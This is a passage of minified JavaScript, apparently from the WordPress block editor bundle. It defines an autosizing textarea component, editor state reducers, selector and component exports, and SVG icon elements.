r.state={lineHeight:null},r.textarea=null,r.onResize=function(o){r.props.onResize&amp;&amp;r.props.onResize(o)},r.updateLineHeight=function(){r.textarea&amp;&amp;r.setState({lineHeight:bTe(r.textarea)})},r.onChange=function(o){var n=r.props.onChange;r.currentValue=o.currentTarget.value,n&amp;&amp;n(o)},r}return t.prototype.componentDidMount=function(){var r=this,o=this.props,n=o.maxRows,i=o.async;typeof n==&quot;number&quot;&amp;&amp;this.updateLineHeight(),typeof n==&quot;number&quot;||i?setTimeout(function(){return r.textarea&amp;&amp;PP(r.textarea)}):this.textarea&amp;&amp;PP(this.textarea),this.textarea&amp;&amp;this.textarea.addEventListener(qX,this.onResize)},t.prototype.componentWillUnmount=function(){this.textarea&amp;&amp;(this.textarea.removeEventListener(qX,this.onResize),PP.destroy(this.textarea))},t.prototype.render=function(){var r=this,o=this,n=o.props,i=n.onResize,a=n.maxRows,l=n.onChange,c=n.style,u=n.innerRef,d=n.children,f=vTe(n,[&quot;onResize&quot;,&quot;maxRows&quot;,&quot;onChange&quot;,&quot;style&quot;,&quot;innerRef&quot;,&quot;children&quot;]),m=o.state.lineHeight,h=a&amp;&amp;m?m*a:null;return kP.createElement(&quot;textarea&quot;,w4({},f,{onChange:this.onChange,style:h?w4({},c,{maxHeight:h}):c,ref:function(g){r.textarea=g,typeof r.props.innerRef==&quot;function&quot;?r.props.innerRef(g):r.props.innerRef&amp;&amp;(r.props.innerRef.current=g)}}),d)},t.prototype.componentDidUpdate=function(){this.textarea&amp;&amp;PP.update(this.textarea)},t.defaultProps={rows:1,async:!1},t.propTypes={rows:_0.number,maxRows:_0.number,onResize:_0.func,innerRef:_0.any,async:_0.bool},t})(kP.Component);Pc.TextareaAutosize=kP.forwardRef(function(e,t){return kP.createElement(STe,w4({},e,{innerRef:t}))})});var x4=Ie((gtt,KX)=&gt;{&quot;use strict&quot;;var _Te=ZX();KX.exports=_Te.TextareaAutosize});var k0=Ie((rrt,kQ)=&gt;{kQ.exports=window.wp.wordcount});var XQ=Ie((yrt,KQ)=&gt;{KQ.exports=window.wp.serverSideRender});var SAe={};Qc(SAe,{AlignmentToolbar:()=&gt;OTe,Autocomplete:()=&gt;ATe,AutosaveMonitor:()=&gt;Xx,BlockAlignmentToolbar:()=&gt;ITe,BlockControls:()=&gt;NTe,BlockEdit:()=&gt;FTe,BlockEditorKeyboardShortcuts:()=&gt;DTe,BlockFormatControls:()=&gt;BTe,BlockIcon:()=&gt;MTe,BlockInspector:()=&gt;LTe,BlockList:()=&gt;VTe,BlockMover:()=&gt;jTe,BlockNavigationDropdown:()=&gt;zTe,BlockSelectionClearer:()=&gt;UTe,BlockSettingsMenu:()=&gt;HTe,BlockTitle:()=&gt;GTe,BlockToolbar:()=&gt;WTe,CharacterCount:()=&gt;wg,ColorPalette:()=&gt;YTe,ContrastChecker:()=&gt;qTe,CopyHandler:()=&gt;ZTe,DefaultBlockAppender:()=&gt;KTe,DocumentBar:()=&gt;fC,DocumentOutline:()=&gt;Ah,DocumentOutlineCheck:()=&gt;MW,EditorHistoryRedo:()=&gt;yC,EditorHistoryUndo:()=&gt;_C,EditorKeyboardShortcuts:()=&gt;Tf,EditorKeyboardShortcutsRegister:()=&gt;GW,EditorNotices:()=&gt;tY,EditorProvider:()=&gt;Fj,EditorSnackbars:()=&gt;iY,EntitiesSavedStates:()=&gt;RC,ErrorBoundary:()=&gt;yY,FontSizePicker:()=&gt;XTe,InnerBlocks:()=&gt;JTe,Inserter:()=&gt;QTe,InspectorAdvancedControls:()=&gt;$Te,InspectorControls:()=&gt;ePe,LocalAutosaveMonitor:()=&gt;wY,MediaPlaceholder:()=&gt;sPe,MediaUpload:()=&gt;aPe,MediaUploadCheck:()=&gt;lPe,MultiSelectScrollIntoView:()=&gt;cPe,NavigableToolbar:()=&gt;uPe,ObserveTyping:()=&gt;dPe,PageAttributesCheck:()=&gt;Nh,PageAttributesOrder:()=&gt;EY,PageAttributesPanel:()=&gt;DC,PageAttributesParent:()=&gt;VY,PageTemplate:()=&gt;VC,PanelColorSettings:()=&gt;tPe,PlainText:()=&gt;rPe,PluginBlockSettingsMenuItem:()=&gt;nq,PluginDocumentSettingPanel:()=&gt;GC,PluginMoreMenuItem:()=&gt;lq,PluginPostPublishPanel:()=&gt;YC,PluginPostStatusInfo:()=&gt;ZC,PluginPrePublishPanel:()=&gt;XC,PluginPreviewMenuItem:()=&gt;vq,PluginSidebar:()=&gt;nm,PluginSidebarMoreMenuItem:()=&gt;Sq,PostAuthor:()=&gt;oT,PostAuthorCheck:()=&gt;nT,PostAuthorPanel:()=&gt;aT,PostComments:()=&gt;dT,PostDiscussionPanel:()=&gt;vT,PostExcerpt:()=&gt;t0,PostExcerptCheck:()=&gt;lm,PostExcerptPanel:()=&gt;CZ,PostFeaturedImage:()=&gt;n0,PostFeaturedImageCheck:()=&gt;_c,PostFeaturedImagePanel:()=&gt;kT,PostFormat:()=&gt;s0,PostFormatCheck:()=&gt;Kh,PostLastRevision:()=&gt;AT,PostLastRevisionCheck:()=&gt;dm,PostLastRevisionPanel:()=&gt;GZ,PostLockedModal:()=&gt;QZ,PostPendingStatus:()=&gt;tK,PostPendingStatusCheck:()=&gt;IT,PostPingbacks:()=&gt;hT,PostPreviewButton:()=&gt;od,PostPublishButton:()=&gt;eg,PostPublishButtonLabel:()=&gt;DT,PostPublishPanel:()=&gt;oP,PostSavedState:()=&gt;pP,PostSchedule:()=&gt;og,PostScheduleCheck:()=&gt;hP,PostScheduleLabel:()=&gt;ng,PostSchedulePanel:()=&gt;yP,PostSticky:()=&gt;sP,PostStickyCheck:()=&gt;nP,PostSwitchToDraftButton:()=&gt;TX,PostSyncStatus:()=&gt;_P,PostTaxonomies:()=&gt;fg,PostTaxonomiesCheck:()=&gt;wP,PostTaxonomiesFlatTermSelector:()=&gt;c4,PostTaxonomiesHierarchicalTermSelector:()=&gt;f4,PostTaxonomiesPanel:()=&gt;CP,PostTemplatePanel:()=&gt;eT,PostTextEditor:()=&gt;w0,PostTitle:()=&gt;BP,PostTitleRaw:()=&gt;LP,PostTrash:()=&gt;zP,PostTrashCheck:()=&gt;VP,PostTypeSupportCheck:()=&gt;tr,PostURL:()=&gt;P0,PostURLCheck:()=&gt;GP,PostURLLabel:()=&gt;wQ,PostURLPanel:()=&gt;ZP,PostVisibility:()=&gt;u0,PostVisibilityCheck:()=&gt;PQ,PostVisibilityLabel:()=&gt;VT,RichText:()=&gt;eJ,RichTextShortcut:()=&gt;oPe,RichTextToolbarButton:()=&gt;nPe,ServerSideRender:()=&gt;JQ.default,SkipToSelectedBlock:()=&gt;fPe,TableOfContents:()=&gt;HQ,TextEditorGlobalKeyboardShortcuts:()=&gt;EPe,ThemeSupportCheck:()=&gt;CT,TimeToRead:()=&gt;_g,URLInput:()=&gt;mPe,URLInputButton:()=&gt;pPe,URLPopover:()=&gt;hPe,UnsavedChangesWarning:()=&gt;ZQ,VisualEditorGlobalKeyboardShortcuts:()=&gt;kPe,Warning:()=&gt;gPe,WordCount:()=&gt;Sg,WritingFlow:()=&gt;vPe,__unstableRichTextInputEvent:()=&gt;iPe,cleanForSlug:()=&gt;FD,createCustomColorsHOC:()=&gt;yPe,getColorClassName:()=&gt;bPe,getColorObjectByAttributeValues:()=&gt;SPe,getColorObjectByColorValue:()=&gt;_Pe,getFontSize:()=&gt;wPe,getFontSizeClass:()=&gt;xPe,getTemplatePartIcon:()=&gt;$c,mediaUpload:()=&gt;r_,privateApis:()=&gt;tae,registerEntityAction:()=&gt;gAe,registerEntityField:()=&gt;yAe,store:()=&gt;w,storeConfig:()=&gt;Ay,transformStyles:()=&gt;rae.transformStyles,unregisterEntityAction:()=&gt;vAe,unregisterEntityField:()=&gt;bAe,useEntitiesSavedStatesIsDirty:()=&gt;EC,usePostScheduleLabel:()=&gt;ig,usePostURLLabel:()=&gt;E4,usePostVisibilityLabel:()=&gt;e4,userAutocompleter:()=&gt;Zx,withColorContext:()=&gt;CPe,withColors:()=&gt;TPe,withFontSizes:()=&gt;PPe});var DG=s(O(),1),BG=s(W(),1),MG=s(D(),1),LG=s(he(),1),VG=s(mo(),1);var qx=s(O(),1);var MF=s(O(),1);var NF=s($(),1),FF={...NF.SETTINGS_DEFAULTS,richEditingEnabled:!0,codeEditingEnabled:!0,fontLibraryEnabled:!0,enableCustomFields:void 0,defaultRenderingMode:&quot;post-only&quot;};var DF=s(O(),1);function dae(e={},t){return t.type===&quot;SET_IS_READY&quot;?{...e,[t.kind]:{...e[t.kind],[t.name]:!0}}:e}function fae(e={},t){switch(t.type){case&quot;REGISTER_ENTITY_ACTION&quot;:return{...e,[t.kind]:{...e[t.kind],[t.name]:[...(e[t.kind]?.[t.name]??[]).filter(r=&gt;r.id!==t.config.id),t.config]}};case&quot;UNREGISTER_ENTITY_ACTION&quot;:return{...e,[t.kind]:{...e[t.kind],[t.name]:(e[t.kind]?.[t.name]??[]).filter(r=&gt;r.id!==t.actionId)}}}return e}function mae(e={},t){switch(t.type){case&quot;REGISTER_ENTITY_FIELD&quot;:return{...e,[t.kind]:{...e[t.kind],[t.name]:[...(e[t.kind]?.[t.name]??[]).filter(r=&gt;r.id!==t.config.id),t.config]}};case&quot;UNREGISTER_ENTITY_FIELD&quot;:return{...e,[t.kind]:{...e[t.kind],[t.name]:(e[t.kind]?.[t.name]??[]).filter(r=&gt;r.id!==t.fieldId)}}}return e}var BF=(0,DF.combineReducers)({actions:fae,fields:mae,isReady:dae});function P1(e){return e&amp;&amp;typeof e==&quot;object&quot;&amp;&amp;&quot;raw&quot;in e?e.raw:e}function pae(e=null,t){return t.type===&quot;SET_EDITED_POST&quot;?t.postId:e}function hae(e=null,t){return t.type===&quot;SET_CURRENT_TEMPLATE_ID&quot;?t.id:e}function gae(e=null,t){return t.type===&quot;SET_EDITED_POST&quot;?t.postType:e}function vae(e={isValid:!0},t){return t.type===&quot;SET_TEMPLATE_VALIDITY&quot;?{...e,isValid:t.isValid}:e}function yae(e={},t){switch(t.type){case&quot;REQUEST_POST_UPDATE_START&quot;:case&quot;REQUEST_POST_UPDATE_FINISH&quot;:return{pending:t.type===&quot;REQUEST_POST_UPDATE_START&quot;,options:t.options||{}}}return e}function bae(e={},t){switch(t.type){case&quot;REQUEST_POST_DELETE_START&quot;:case&quot;REQUEST_POST_DELETE_FINISH&quot;:return{pending:t.type===&quot;REQUEST_POST_DELETE_START&quot;}}return e}function Sae(e={isLocked:!1},t){return t.type===&quot;UPDATE_POST_LOCK&quot;?t.lock:e}function _ae(e={},t){switch(t.type){case&quot;LOCK_POST_SAVING&quot;:return{...e,[t.lockName]:!0};case&quot;UNLOCK_POST_SAVING&quot;:{let{[t.lockName]:r,...o}=e;return o}}return e}function wae(e={},t){switch(t.type){case&quot;LOCK_POST_AUTOSAVING&quot;:return{...e,[t.lockName]:!0};case&quot;UNLOCK_POST_AUTOSAVING&quot;:{let{[t.lockName]:r,...o}=e;return o}}return e}function xae(e=FF,t){return t.type===&quot;UPDATE_EDITOR_SETTINGS&quot;?{...e,...t.settings}:e}function Cae(e=&quot;post-only&quot;,t){return t.type===&quot;SET_RENDERING_MODE&quot;?t.mode:e}function Tae(e=&quot;Desktop&quot;,t){return t.type===&quot;SET_DEVICE_TYPE&quot;?t.deviceType:e}function Pae(e=[],t){switch(t.type){case&quot;REMOVE_PANEL&quot;:if(!e.includes(t.panelName))return[...e,t.panelName]}return e}function kae(e=!1,t){switch(t.type){case&quot;SET_IS_LIST_VIEW_OPENED&quot;:return t.isOpen?!1:e;case&quot;SET_IS_INSERTER_OPENED&quot;:return t.value}return e}function Eae(e=!1,t){switch(t.type){case&quot;SET_IS_INSERTER_OPENED&quot;:return t.value?!1:e;case&quot;SET_IS_LIST_VIEW_OPENED&quot;:return t.isOpen}return e}function Rae(e={current:null}){return e}function Aae(e={current:null}){return e}function Oae(e=!1,t){switch(t.type){case&quot;OPEN_PUBLISH_SIDEBAR&quot;:return!0;case&quot;CLOSE_PUBLISH_SIDEBAR&quot;:return!1;case&quot;TOGGLE_PUBLISH_SIDEBAR&quot;:return!e}return e}function Iae(e=&quot;/&quot;,t){switch(t.type){case&quot;SET_STYLES_PATH&quot;:return t.path;case&quot;RESET_STYLES_NAVIGATION&quot;:return&quot;/&quot;}return e}function Nae(e=!1,t){switch(t.type){case&quot;SET_SHOW_STYLEBOOK&quot;:return t.show;case&quot;RESET_STYLES_NAVIGATION&quot;:return!1}return e}function Fae(e=0,t){return t.type===&quot;SET_CANVAS_MIN_HEIGHT&quot;?t.minHeight:e}function Dae(e=null,t){return t.type===&quot;SET_CURRENT_REVISION_ID&quot;?t.revisionId:e}function Bae(e=1,t){switch(t.type){case&quot;SET_REVISION_PAGE&quot;:return t.page;case&quot;SET_CURRENT_REVISION_ID&quot;:return t.revisionId?e:1}return e}function Mae(e=!0,t){switch(t.type){case&quot;SET_SHOW_REVISION_DIFF&quot;:return t.showDiff;case&quot;SET_CURRENT_REVISION_ID&quot;:return t.revisionId?e:!0}return e}function Lae(e={},t){return t.type===&quot;SELECT_NOTE&quot;?{noteId:t.noteId,options:t.options}:e}var LF=(0,MF.combineReducers)({postId:pae,postType:gae,templateId:hae,saving:yae,deleting:bae,postLock:Sae,template:vae,postSavingLock:_ae,editorSettings:xae,postAutosavingLock:wae,renderingMode:Cae,deviceType:Tae,removedPanels:Pae,blockInserterPanel:kae,inserterSidebarToggleRef:Aae,listViewPanel:Eae,listViewToggleRef:Rae,publishSidebarActive:Oae,stylesPath:Iae,showStylebook:Nae,canvasMinHeight:Fae,revisionId:Dae,revisionPage:Bae,showRevisionDiff:Mae,selectedNote:Lae,dataviews:BF});var uO={};Qc(uO,{__experimentalGetDefaultTemplatePartAreas:()=&gt;Rce,__experimentalGetDefaultTemplateType:()=&gt;Ace,__experimentalGetDefaultTemplateTypes:()=&gt;Ece,__experimentalGetTemplateInfo:()=&gt;Oce,__unstableIsEditorReady:()=&gt;xle,canInsertBlockType:()=&gt;Cce,canUserUseUnfilteredHTML:()=&gt;hle,didPostSaveRequestFail:()=&gt;rle,didPostSaveRequestSucceed:()=&gt;tle,getActivePostLock:()=&gt;ple,getAdjacentBlockClientId:()=&gt;Kle,getAutosaveAttribute:()=&gt;oD,getBlock:()=&gt;Fle,getBlockAttributes:()=&gt;Nle,getBlockCount:()=&gt;jle,getBlockHierarchyRootClientId:()=&gt;Zle,getBlockIndex:()=&gt;cce,getBlockInsertionPoint:()=&gt;bce,getBlockListSettings:()=&gt;kce,getBlockMode:()=&gt;gce,getBlockName:()=&gt;Ole,getBlockOrder:()=&gt;lce,getBlockRootClientId:()=&gt;qle,getBlockSelectionEnd:()=&gt;Ule,getBlockSelectionStart:()=&gt;zle,getBlocks:()=&gt;Dle,getBlocksByClientId:()=&gt;Vle,getClientIdsOfDescendants:()=&gt;Ble,getClientIdsWithDescendants:()=&gt;Mle,getCurrentPost:()=&gt;$r,getCurrentPostAttribute:()=&gt;Zv,getCurrentPostId:()=&gt;Ki,getCurrentPostLastRevisionId:()=&gt;Gae,getCurrentPostRevisionsCount:()=&gt;lO,getCurrentPostType:()=&gt;Qn,getCurrentTemplateId:()=&gt;Hae,getDeviceType:()=&gt;Tle,getEditedPostAttribute:()=&gt;Jt,getEditedPostContent:()=&gt;Jv,getEditedPostPreviewLink:()=&gt;ile,getEditedPostSlug:()=&gt;cle,getEditedPostVisibility:()=&gt;Yae,getEditorBlocks:()=&gt;vle,getEditorMode:()=&gt;Ele,getEditorSelection:()=&gt;wle,getEditorSelectionEnd:()=&gt;_le,getEditorSelectionStart:()=&gt;Sle,getEditorSettings:()=&gt;Cle,getFirstMultiSelectedBlockClientId:()=&gt;tce,getGlobalBlockCount:()=&gt;Lle,getInserterItems:()=&gt;Tce,getLastMultiSelectedBlockClientId:()=&gt;rce,getMultiSelectedBlockClientIds:()=&gt;$le,getMultiSelectedBlocks:()=&gt;ece,getMultiSelectedBlocksEndClientId:()=&gt;ace,getMultiSelectedBlocksStartClientId:()=&gt;sce,getNextBlockClientId:()=&gt;Qle,getPermalink:()=&gt;lle,getPermalinkParts:()=&gt;aD,getPostEdits:()=&gt;Qv,getPostLockUser:()=&gt;mle,getPostTypeLabel:()=&gt;Ice,getPreviousBlockClientId:()=&gt;Xle,getRenderingMode:()=&gt;JS,getSelectedBlock:()=&gt;Yle,getSelectedBlockClientId:()=&gt;Wle,getSelectedBlockCount:()=&gt;Hle,getSelectedBlocksInitialCaretPosition:()=&gt;Jle,getStateBeforeOptimisticTransaction:()=&gt;Rle,getSuggestedPostFormat:()=&gt;sle,getTemplate:()=&gt;wce,getTemplateLock:()=&gt;xce,hasChangedContent:()=&gt;rD,hasEditorRedo:()=&gt;jae,hasEditorUndo:()=&gt;Vae,hasInserterItems:()=&gt;Pce,hasMultiSelection:()=&gt;mce,hasNonPostEntityChanges:()=&gt;zae,hasSelectedBlock:()=&gt;Gle,hasSelectedInnerBlock:()=&gt;dce,inSomeHistory:()=&gt;Ale,isAncestorMultiSelected:()=&gt;ice,isAutosavingPost:()=&gt;ole,isBlockInsertionPointVisible:()=&gt;Sce,isBlockMultiSelected:()=&gt;nce,isBlockSelected:()=&gt;uce,isBlockValid:()=&gt;Ile,isBlockWithinSelection:()=&gt;fce,isCaretWithinFormattedText:()=&gt;yce,isCleanNewPost:()=&gt;Uae,isCurrentPostPending:()=&gt;qae,isCurrentPostPublished:()=&gt;cO,isCurrentPostScheduled:()=&gt;Zae,isDeletingPost:()=&gt;$ae,isEditedPostAutosaveable:()=&gt;Xae,isEditedPostBeingScheduled:()=&gt;Qae,isEditedPostDateFloating:()=&gt;Jae,isEditedPostDirty:()=&gt;XS,isEditedPostEmpty:()=&gt;iD,isEditedPostNew:()=&gt;tD,isEditedPostPublishable:()=&gt;Kae,isEditedPostSaveable:()=&gt;nD,isEditorPanelEnabled:()=&gt;yle,isEditorPanelOpened:()=&gt;ble,isEditorPanelRemoved:()=&gt;cD,isFirstMultiSelectedBlock:()=&gt;oce,isInserterOpened:()=&gt;kle,isListViewOpened:()=&gt;Ple,isMultiSelecting:()=&gt;pce,isPermalinkEditable:()=&gt;sD,isPostAutosavingLocked:()=&gt;lD,isPostLockTakeover:()=&gt;fle,isPostLocked:()=&gt;ule,isPostSavingLocked:()=&gt;dle,isPreviewingPost:()=&gt;nle,isPublishSidebarEnabled:()=&gt;gle,isPublishSidebarOpened:()=&gt;Nce,isPublishingPost:()=&gt;ale,isSavingNonPostEntityChanges:()=&gt;ele,isSavingPost:()=&gt;Km,isSelectionEnabled:()=&gt;hce,isTyping:()=&gt;vce,isValidTemplate:()=&gt;_ce});var eu=s(Xe(),1),Zm=s(po(),1),Kv=s(Ir(),1),dt=s(O(),1),Ca=s(Yi(),1),eD=s(D(),1),QS=s($(),1),dr=s(W(),1),$v=s(lt(),1);var GF=new Set([&quot;meta&quot;]),WF=&quot;core/editor&quot;,nR=/%(?:postname|pagename)%/,iR=60*1e3,YF=[&quot;title&quot;,&quot;excerpt&quot;,&quot;content&quot;];var xt=&quot;wp_template&quot;,Ur=&quot;wp_template_part&quot;,qi=&quot;wp_block&quot;,jd=&quot;wp_navigation&quot;,ur=&quot;attachment&quot;,k1={custom:&quot;custom&quot;,theme:&quot;theme&quot;,plugin:&quot;plugin&quot;},sR=[&quot;wp_template&quot;,&quot;wp_template_part&quot;],qF=[...sR,&quot;wp_block&quot;,&quot;wp_navigation&quot;],Jc=[xt,Ur,qi,jd];var E1=s(D(),1),No=(0,E1.forwardRef)(({icon:e,size:t=24,...r},o)=&gt;(0,E1.cloneElement)(e,{width:t,height:t,...r,ref:o}));var R1=s(de(),1),aR=s(C(),1),lR=(0,aR.jsx)(R1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,aR.jsx)(R1.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M18.5 5.5V8H20V5.5H22.5V4H20V1.5H18.5V4H16V5.5H18.5ZM13.9624 4H6C4.89543 4 4 4.89543 4 6V18C4 19.1046 4.89543 20 6 20H18C19.1046 20 20 19.1046 20 18V10.0391H18.5V18C18.5 18.2761 18.2761 18.5 18 18.5H10L10 10.4917L16.4589 10.5139L16.4641 9.01389L5.5 8.97618V6C5.5 5.72386 5.72386 5.5 6 5.5H13.9624V4ZM5.5 10.4762V18C5.5 18.2761 5.72386 18.5 6 18.5H8.5L8.5 10.4865L5.5 10.4762Z&quot;})});var A1=s(de(),1),cR=s(C(),1),uR=(0,cR.jsx)(A1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,cR.jsx)(A1.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M11.934 7.406a1 1 0 0 0 .914.594H19a.5.5 0 0 1 .5.5v9a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5h5.764a.5.5 0 0 1 .447.276l.723 1.63Zm1.064-1.216a.5.5 0 0 0 .462.31H19a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2h5.764a2 2 0 0 1 1.789 1.106l.445 1.084ZM8.5 10.5h7V12h-7v-1.5Zm7 3.5h-7v1.5h7V14Z&quot;})});var O1=s(de(),1),dR=s(C(),1),fR=(0,dR.jsx)(O1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,dR.jsx)(O1.Path,{d:&quot;M17.7 4.3c-1.2 0-2.8 0-3.8 1-.6.6-.9 1.5-.9 2.6V14c-.6-.6-1.5-1-2.5-1C8.6 13 7 14.6 7 16.5S8.6 20 10.5 20c1.5 0 2.8-1 3.3-2.3.5-.8.7-1.8.7-2.5V7.9c0-.7.2-1.2.5-1.6.6-.6 1.8-.6 2.8-.6h.3V4.3h-.4z&quot;})});var I1=s(de(),1),mR=s(C(),1),pR=(0,mR.jsx)(I1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,mR.jsx)(I1.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M11.53 4.47a.75.75 0 1 0-1.06 1.06l8 8a.75.75 0 1 0 1.06-1.06l-8-8Zm5 1a.75.75 0 1 0-1.06 1.06l2 2a.75.75 0 1 0 1.06-1.06l-2-2Zm-11.06 10a.75.75 0 0 1 1.06 0l2 2a.75.75 0 1 1-1.06 1.06l-2-2a.75.75 0 0 1 0-1.06Zm.06-5a.75.75 0 0 0-1.06 1.06l8 8a.75.75 0 1 0 1.06-1.06l-8-8Zm-.06-3a.75.75 0 0 1 1.06 0l10 10a.75.75 0 1 1-1.06 1.06l-10-10a.75.75 0 0 1 0-1.06Zm3.06-2a.75.75 0 0 0-1.06 1.06l10 10a.75.75 0 1 0 1.06-1.06l-10-10Z&quot;})});var N1=s(de(),1),hR=s(C(),1),xl=(0,hR.jsx)(N1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,hR.jsx)(N1.Path,{d:&quot;M5.5 12h1.75l-2.5 3-2.5-3H4a8 8 0 113.134 6.35l.907-1.194A6.5 6.5 0 105.5 12zm9.53 1.97l-2.28-2.28V8.5a.75.75 0 00-1.5 0V12a.747.747 0 00.218.529l1.282-.84-1.28.842 2.5 2.5a.75.75 0 101.06-1.061z&quot;})});var F1=s(de(),1),gR=s(C(),1),vR=(0,gR.jsx)(F1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,gR.jsx)(F1.Path,{d:&quot;M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z&quot;})});var D1=s(de(),1),yR=s(C(),1),Pi=(0,yR.jsx)(D1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,yR.jsx)(D1.Path,{d:&quot;M16.5 7.5 10 13.9l-2.5-2.4-1 1 3.5 3.6 7.5-7.6z&quot;})});var B1=s(de(),1),bR=s(C(),1),Cv=(0,bR.jsx)(B1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,bR.jsx)(B1.Path,{d:&quot;M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z&quot;})});var M1=s(de(),1),SR=s(C(),1),_R=(0,SR.jsx)(M1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,SR.jsx)(M1.Path,{d:&quot;m13.1 16-3.4-4 3.4-4 1.1 1-2.6 3 2.6 3-1.1 1z&quot;})});var L1=s(de(),1),wR=s(C(),1),Nt=(0,wR.jsx)(L1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,wR.jsx)(L1.Path,{d:&quot;M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z&quot;})});var V1=s(de(),1),xR=s(C(),1),CR=(0,xR.jsx)(V1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,xR.jsx)(V1.Path,{d:&quot;M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z&quot;})});var j1=s(de(),1),TR=s(C(),1),Ft=(0,TR.jsx)(j1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,TR.jsx)(j1.Path,{d:&quot;M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z&quot;})});var z1=s(de(),1),PR=s(C(),1),Tv=(0,PR.jsx)(z1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,PR.jsx)(z1.Path,{d:&quot;M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z&quot;})});var U1=s(de(),1),kR=s(C(),1),Kn=(0,kR.jsx)(U1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,kR.jsx)(U1.Path,{d:&quot;M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z&quot;})});var H1=s(de(),1),ER=s(C(),1),RR=(0,ER.jsx)(H1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,ER.jsx)(H1.Path,{d:&quot;m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z&quot;})});var G1=s(de(),1),AR=s(C(),1),OR=(0,AR.jsx)(G1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,AR.jsx)(G1.Path,{d:&quot;M17.3 10.1C17.3 7.60001 15.2 5.70001 12.5 5.70001C10.3 5.70001 8.4 7.10001 7.9 9.00001H7.7C5.7 9.00001 4 10.7 4 12.8C4 14.9 5.7 16.6 7.7 16.6H9.5V15.2H7.7C6.5 15.2 5.5 14.1 5.5 12.9C5.5 11.7 6.5 10.5 7.7 10.5H9L9.3 9.40001C9.7 8.10001 11 7.20001 12.5 7.20001C14.3 7.20001 15.8 8.50001 15.8 10.1V11.4L17.1 11.6C17.9 11.7 18.5 12.5 18.5 13.4C18.5 14.4 17.7 15.2 16.8 15.2H14.5V16.6H16.7C18.5 16.6 19.9 15.1 19.9 13.3C20 11.7 18.8 10.4 17.3 10.1Z M14.1245 14.2426L15.1852 13.182L12.0032 10L8.82007 13.1831L9.88072 14.2438L11.25 12.8745V18H12.75V12.8681L14.1245 14.2426Z&quot;})});var W1=s(de(),1),IR=s(C(),1),NR=(0,IR.jsx)(W1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,IR.jsx)(W1.Path,{d:&quot;M17.3 10.1c0-2.5-2.1-4.4-4.8-4.4-2.2 0-4.1 1.4-4.6 3.3h-.2C5.7 9 4 10.7 4 12.8c0 2.1 1.7 3.8 3.7 3.8h9c1.8 0 3.2-1.5 3.2-3.3.1-1.6-1.1-2.9-2.6-3.2zm-.5 5.1h-9c-1.2 0-2.2-1.1-2.2-2.3s1-2.4 2.2-2.4h1.3l.3-1.1c.4-1.3 1.7-2.2 3.2-2.2 1.8 0 3.3 1.3 3.3 2.9v1.3l1.3.2c.8.1 1.4.9 1.4 1.8-.1 1-.9 1.8-1.8 1.8z&quot;})});var Y1=s(de(),1),FR=s(C(),1),DR=(0,FR.jsx)(Y1.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,FR.jsx)(Y1.Path,{d:&quot;M20.8 10.7l-4.3-4.3-1.1 1.1 4.3 4.3c.1.1.1.3 0 .4l-4.3 4.3 1.1 1.1 4.3-4.3c.7-.8.7-1.9 